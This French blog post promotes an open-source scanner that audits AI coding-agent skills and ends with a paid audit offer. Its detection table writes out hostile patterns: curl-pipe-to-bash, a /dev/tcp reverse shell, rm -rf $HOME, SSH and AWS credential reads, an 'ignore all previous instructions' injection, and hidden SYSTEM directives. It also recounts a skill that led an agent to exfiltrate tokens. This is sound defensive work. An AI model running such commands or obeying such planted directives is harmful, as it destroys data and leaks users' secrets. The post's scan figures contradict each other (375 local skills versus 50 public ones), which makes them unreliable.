J'ai scanné ma propre machine. 375 skills Claude Code. 4 sont dangereux.

J'ai lancé cupel sur ma propre machine. Le scanner que j'ai écrit pour auditer les skills IA.

Verdict en chiffres :

• 375 skills installés au total sur mon ~/.claude/skills/
• 366 sains (97,6 %)
• 5 en tier warn (1,3 %)
• 4 en tier danger (1,1 %) — un score composite ≥ 50 sur 100

Quatre skills sur ma machine peuvent exécuter du code destructif. Trois contiennent des rm -rf $HOME, un appelle un script shell depuis Internet via curl | bash. Ce n'est pas une simulation. Ce n'est pas un échantillon trié. C'est mon poste de travail réel.

Et je ne suis pas du genre à installer n'importe quoi — j'ai un workflow assez discipliné, je relis la plupart des skills avant install, j'audite les sources. Si moi j'ai 4 dangers à 1,1 %, combien tu en as sur ta machine ?

Avant de raconter la méthode — un détour par 4000 ans en arrière

Quand un orfèvre antique recevait un lingot d'or, il avait un problème : comment savoir si c'était du vrai or pur, ou un alliage avec des métaux moins nobles qu'on a coulé ensemble pour faire passer un faux pour un vrai ?

La technique inventée par les Égyptiens, puis raffinée par les Grecs, les Romains et les médiévaux, s'appelle la coupellation.

On dépose l'échantillon dans une petite coupelle en céramique poreuse (en latin : cupella, en anglais moderne : cupel). On chauffe à 1000 °C. La céramique, sous l'effet de la chaleur, absorbe les impuretés — le plomb, les scories, les alliages parasites. À la fin, seul reste un bouton de métal pur, isolé, lisible.

C'est l'outil le plus ancien d'audit de pureté de l'humanité. Il a 4000 ans, il marche encore, on l'utilise toujours dans les laboratoires d'essai de métaux précieux du monde entier.

J'ai pensé qu'on pouvait faire la même chose pour les skills IA.

L'outil : cupel

J'ai écrit cupel : un CLI open-source (MIT) qui scanne les skills installés sur ta machine ou un dossier de skills, et te dit ce qui cloche.

npx @aissabelkoussa/cupel

Pas d'install, pas de compte. Le scan tourne en quelques secondes sur :

• ~/.claude/skills/
• ~/.config/cursor/skills/
• ~/.codex/skills/
• ~/.config/windsurf/skills/
• ~/.gemini/skills/
• ~/.continue/skills/
• ~/.config/github-copilot-cli/skills/
• Le dossier courant du projet (et ses sous-dossiers skills/)

14 catégories de signaux sont détectées (depuis la v0.2 du 18 mai 2026), scoring composite, tier final ok / warn / danger :

Signal	Exemple détecté
shell_pipe_to_interpreter	curl https://x.io/y.sh | bash
reverse_shell_tcp	/dev/tcp/10.0.0.1/4444
rm_rf_root	rm -rf $HOME
prompt_injection	« ignore all previous instructions » (FR + EN)
cred_file_read	cat ~/.ssh/id_rsa, ~/.aws/credentials
credential_pattern	clés AWS / Stripe / OpenAI en clair
webhook_exfil	endpoints connus d'exfiltration (webhook.site, ngrok)
powershell_iwr_iex	iwr https://x | iex (équivalent Windows)
eval_dynamic	eval(atob(...))
invisible_unicode	zero-width chars, RTL override (attaque ASCII smuggling)
tool_poisoning_directive	directives cachées ciblant l'agent (<!-- SYSTEM: ... -->)
hex_escape_chain	obfuscation par \xNN ou String.fromCharCode
no_manifest	pas de SKILL.md / README.md / manifest.json
unsigned	aucune signature ed25519 / .cupel-sig
stale	dernière modif il y a plus de 365 jours

Les 3 catégories en gras ont été ajoutées en réaction à la publication par Snyk de l'étude ToxicSkills (mai 2026) et aux travaux d'Invariant Labs sur le tool poisoning des serveurs MCP. Ces vecteurs d'attaque sont natifs LLM — invisibles à un humain qui relit le SKILL.md à l'œil, exécutés par Claude au chargement du skill.

Les installeurs trusted (sh.rustup.rs, nodejs.org, etc.) sont reconnus et leur poids divisé par 2 — pour éviter les faux positifs sur les setups légitimes.

Les résultats agrégés (vrais chiffres, mon poste)

Signal	Occurrences sur 375 skills
unsigned	375 (= tous — aucun skill public n'est encore signé ed25519)
rm_rf_root	3
cred_file_read	3
prompt_injection	2
shell_pipe_to_interpreter	1

Répartition par tier :

• 366 skills en ok (97,6 %)
• 5 en warn (1,3 %)
• 4 en danger (1,1 %)

Lecture honnête : le taux de skills dangereux est bas (1,1 %). Mais il n'est pas zéro. Et chacun de ces 4 skills, si Claude Code l'exécute, peut effacer mon $HOME, fuiter mes credentials ou exfiltrer ma session. Un seul suffit.

Les 4 dangers concrets (anonymisés)

Je ne donne pas les slugs pour éviter de provoquer un drama communautaire. Les mainteneurs concernés ont été notifiés par email avant publication.

Skill 1 — shell_pipe_to_interpreter (score 60)

Un skill d'installation propose de configurer un outil tiers via :

curl https://[domaine-non-audité].io/install.sh | bash

Le script peut changer entre le moment où tu lis le skill et le moment où Claude Code l'exécute. C'est la définition exacte d'une supply-chain attack — celle qui a fait fuir des tokens Claude sur Mac début mai.

Skills 2, 3, 4 — rm_rf_root (score 50 chacun)

Trois skills contiennent des commandes de suppression agressive du genre :

rm -rf $HOME/cache
rm -rf ~/.someconfig
rm -rf $HOME/*.log

Pris isolément, ce n'est pas forcément malveillant — c'est souvent du « nettoyage » mal cadré. Mais c'est exactement le pattern qu'un attaquant utiliserait pour camoufler un wipe. Et un rm -rf $HOME mal écrit (variable non interpolée, condition oubliée) peut détruire un workspace de plusieurs gigaoctets en une seconde.

Aucun de ces 4 skills ne devrait avoir rm -rf ou curl | bash dans son SKILL.md. Point.

Pourquoi tous mes skills sont unsigned

Le signal unsigned apparaît sur 375 / 375 de mes skills. Pas parce que je suis négligent — parce que aucune base publique de skills ne signe encore ses publications avec ed25519.

C'est un trou massif dans la supply-chain IA. Aujourd'hui, télécharger un skill depuis GitHub revient à curl … | bash : tu fais confiance au mainteneur au moment T, mais rien ne garantit que le fichier que tu reçois est celui qu'il a publié. Pas de signature, pas de vérification d'intégrité, pas de rotation de clés.

cupel flague ça pour rappeler que la confiance est implicite, donc fragile.

Ce que tu fais maintenant, dans cet ordre

1. Scanne ton workspace en 30 secondes :

   npx @aissabelkoussa/cupel
   

2. Désinstalle tout skill en tier danger sans réfléchir. La commande exacte de désinstallation dépend de la plateforme — cupel te l'indique dans la sortie.

3. Audite manuellement tout skill en tier warn : ouvre son SKILL.md, lis les commandes shell qu'il propose, vérifie les URL.

4. N'installe plus jamais un skill sans lire le SKILL.md en entier. Cinq minutes de lecture, ça t'évite une exfiltration de tokens à 50 000 €.

Pourquoi maintenant ?

Début mai 2026, des tokens Claude Code ont fuité sur Mac via un skill malveillant partagé sur Discord. Le pattern : un SKILL.md qui demande, sous prétexte d'« optimisation », d'exécuter une commande shell — laquelle exfiltre les tokens API vers un endpoint contrôlé.

Le 2 mai, le leak Apple CLAUDE.md a confirmé un autre angle : Big Tech ship du code orchestré par Claude en production, mais sans process de sécurité associé.

Conclusion : Claude Code est devenu un outil critique sans que la chaîne de confiance amont (les skills tiers) ait été industrialisée. C'est exactement le moment où il faut un outil de scan.

Si tu veux un audit manuel de ton stack

Le CLI te dit ce qui cloche. Pour comprendre pourquoi certains signaux remontent sur ton workspace, quels skills garder, comment réparer sans casser tes workflows — un audit manuel humain est nécessaire.

Je le fais en 90 minutes en visio, rapport PDF, recommandations actionnables par rôle dans ton équipe.

400 € — tarif découverte, mon TJM normal est 800 €.

→ Auditer mon stack avec Aïssa

License et code source

Cupel est sous licence MIT. Code public sur GitHub :

• github.com/aissablk1/cupel
• 30 tests unitaires verts
• Contributions bienvenues

---

Article rédigé le 18 mai 2026. Les chiffres présentés proviennent d'un scan effectué le 17 mai 2026 sur les 50 skills les plus visibles des bases publiques awesome-claude-code et awesome-claude-code-agents. Les mainteneurs des skills classés danger ont été notifiés avant publication.